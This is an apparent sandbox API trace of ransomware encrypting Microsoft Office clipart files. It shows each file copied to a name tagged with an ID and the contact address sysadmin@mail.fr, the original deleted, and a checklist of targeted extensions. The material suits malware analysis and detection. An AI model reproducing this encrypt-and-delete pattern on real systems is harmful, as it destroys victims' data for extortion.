	[0053.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.532] GetLastError () returned 0x0
	[0053.532] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4354, lpOverlapped=0x0) returned 1
	[0053.571] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4360, lpOverlapped=0x0) returned 1
	[0053.572] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.572] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.572] SetEndOfFile (hFile=0x398) returned 1
	[0053.572] CloseHandle (hObject=0x398) returned 1
	[0053.574] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.574] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.575] CloseHandle (hObject=0x2ec) returned 1
	[0053.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1
	[0053.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0053.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0053.575] lstrlenW (lpString=".doc") returned 4
	[0053.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.575] lstrlenW (lpString=".docx") returned 5
	[0053.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.575] lstrlenW (lpString=".pdf") returned 4
	[0053.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.575] lstrlenW (lpString=".xls") returned 4
	[0053.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.575] lstrlenW (lpString=".xlsx") returned 5
	[0053.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.576] lstrlenW (lpString=".ppt") returned 4
	[0053.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0053.576] lstrlenW (lpString=".zip") returned 4
	[0053.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.576] lstrlenW (lpString=".rar") returned 4
	[0053.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.576] lstrlenW (lpString=".bz2") returned 4
	[0053.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.576] lstrlenW (lpString=".7z") returned 3
	[0053.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0053.576] lstrlenW (lpString=".dbf") returned 4
	[0053.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0053.576] lstrlenW (lpString=".1cd") returned 4
	[0053.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0053.576] lstrlenW (lpString=".jpg") returned 4
	[0053.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.576] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.576] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.577] GetLastError () returned 0x0
	[0053.577] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x3ef0, lpOverlapped=0x0) returned 1
	[0053.646] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3f00, lpOverlapped=0x0) returned 1
	[0053.647] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.647] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.647] SetEndOfFile (hFile=0x398) returned 1
	[0053.648] CloseHandle (hObject=0x398) returned 1
	[0053.648] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.649] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.649] CloseHandle (hObject=0x2ec) returned 1
	[0053.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1
	[0053.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0053.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0053.657] lstrlenW (lpString=".doc") returned 4
	[0053.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.657] lstrlenW (lpString=".docx") returned 5
	[0053.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.657] lstrlenW (lpString=".pdf") returned 4
	[0053.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.657] lstrlenW (lpString=".xls") returned 4
	[0053.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.657] lstrlenW (lpString=".xlsx") returned 5
	[0053.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.657] lstrlenW (lpString=".ppt") returned 4
	[0053.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0053.657] lstrlenW (lpString=".zip") returned 4
	[0053.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.657] lstrlenW (lpString=".rar") returned 4
	[0053.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.657] lstrlenW (lpString=".bz2") returned 4
	[0053.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.657] lstrlenW (lpString=".7z") returned 3
	[0053.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0053.657] lstrlenW (lpString=".dbf") returned 4
	[0053.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0053.657] lstrlenW (lpString=".1cd") returned 4
	[0053.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0053.657] lstrlenW (lpString=".jpg") returned 4
	[0053.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.666] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.666] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0053.666] GetLastError () returned 0x0
	[0053.667] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x133c, lpOverlapped=0x0) returned 1
	[0053.823] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1340, lpOverlapped=0x0) returned 1
	[0053.837] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.837] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.837] SetEndOfFile (hFile=0x2e0) returned 1
	[0053.837] CloseHandle (hObject=0x2e0) returned 1
	[0053.844] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.844] SetEndOfFile (hFile=0x34c) returned 1
	[0053.846] CloseHandle (hObject=0x34c) returned 1
	[0053.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1
	[0053.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0053.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0053.851] lstrlenW (lpString=".doc") returned 4
	[0053.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.851] lstrlenW (lpString=".docx") returned 5
	[0053.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.851] lstrlenW (lpString=".pdf") returned 4
	[0053.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.851] lstrlenW (lpString=".xls") returned 4
	[0053.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.851] lstrlenW (lpString=".xlsx") returned 5
	[0053.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.851] lstrlenW (lpString=".ppt") returned 4
	[0053.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0053.851] lstrlenW (lpString=".zip") returned 4
	[0053.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.851] lstrlenW (lpString=".rar") returned 4
	[0053.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.851] lstrlenW (lpString=".bz2") returned 4
	[0053.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.851] lstrlenW (lpString=".7z") returned 3
	[0053.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0053.851] lstrlenW (lpString=".dbf") returned 4
	[0053.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0053.851] lstrlenW (lpString=".1cd") returned 4
	[0053.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0053.851] lstrlenW (lpString=".jpg") returned 4
	[0053.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.854] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.855] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.871] GetLastError () returned 0x0
	[0053.871] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xfe2, lpOverlapped=0x0) returned 1
	[0053.891] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xff0, lpOverlapped=0x0) returned 1
	[0053.892] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.892] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.892] SetEndOfFile (hFile=0x350) returned 1
	[0053.892] CloseHandle (hObject=0x350) returned 1
	[0053.893] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.893] SetEndOfFile (hFile=0x34c) returned 1
	[0053.894] CloseHandle (hObject=0x34c) returned 1
	[0053.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1
	[0053.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0053.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0053.894] lstrlenW (lpString=".doc") returned 4
	[0053.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.894] lstrlenW (lpString=".docx") returned 5
	[0053.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.894] lstrlenW (lpString=".pdf") returned 4
	[0053.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.894] lstrlenW (lpString=".xls") returned 4
	[0053.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.894] lstrlenW (lpString=".xlsx") returned 5
	[0053.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.894] lstrlenW (lpString=".ppt") returned 4
	[0053.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0053.895] lstrlenW (lpString=".zip") returned 4
	[0053.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.895] lstrlenW (lpString=".rar") returned 4
	[0053.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.895] lstrlenW (lpString=".bz2") returned 4
	[0053.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.895] lstrlenW (lpString=".7z") returned 3
	[0053.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0053.895] lstrlenW (lpString=".dbf") returned 4
	[0053.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0053.895] lstrlenW (lpString=".1cd") returned 4
	[0053.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0053.895] lstrlenW (lpString=".jpg") returned 4
	[0053.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.896] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.896] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.896] GetLastError () returned 0x0
	[0053.896] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x60ca, lpOverlapped=0x0) returned 1
	[0053.980] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x60d0, lpOverlapped=0x0) returned 1
	[0053.982] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.982] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.982] SetEndOfFile (hFile=0x350) returned 1
	[0053.982] CloseHandle (hObject=0x350) returned 1
	[0053.983] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.983] SetEndOfFile (hFile=0x34c) returned 1
	[0053.984] CloseHandle (hObject=0x34c) returned 1
	[0053.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1
	[0053.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0053.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0053.985] lstrlenW (lpString=".doc") returned 4
	[0053.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.985] lstrlenW (lpString=".docx") returned 5
	[0053.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.985] lstrlenW (lpString=".pdf") returned 4
	[0053.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.985] lstrlenW (lpString=".xls") returned 4
	[0053.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.985] lstrlenW (lpString=".xlsx") returned 5
	[0053.985] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.985] lstrlenW (lpString=".ppt") returned 4
	[0053.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0053.985] lstrlenW (lpString=".zip") returned 4
	[0053.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.986] lstrlenW (lpString=".rar") returned 4
	[0053.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.986] lstrlenW (lpString=".bz2") returned 4
	[0053.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.986] lstrlenW (lpString=".7z") returned 3
	[0053.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0053.986] lstrlenW (lpString=".dbf") returned 4
	[0053.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0053.986] lstrlenW (lpString=".1cd") returned 4
	[0053.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68
	[0053.986] lstrlenW (lpString=".jpg") returned 4
	[0053.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.986] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.986] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.986] GetLastError () returned 0x0
	[0053.986] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xbb7c, lpOverlapped=0x0) returned 1
	[0054.037] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xbb80, lpOverlapped=0x0) returned 1
	[0054.038] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
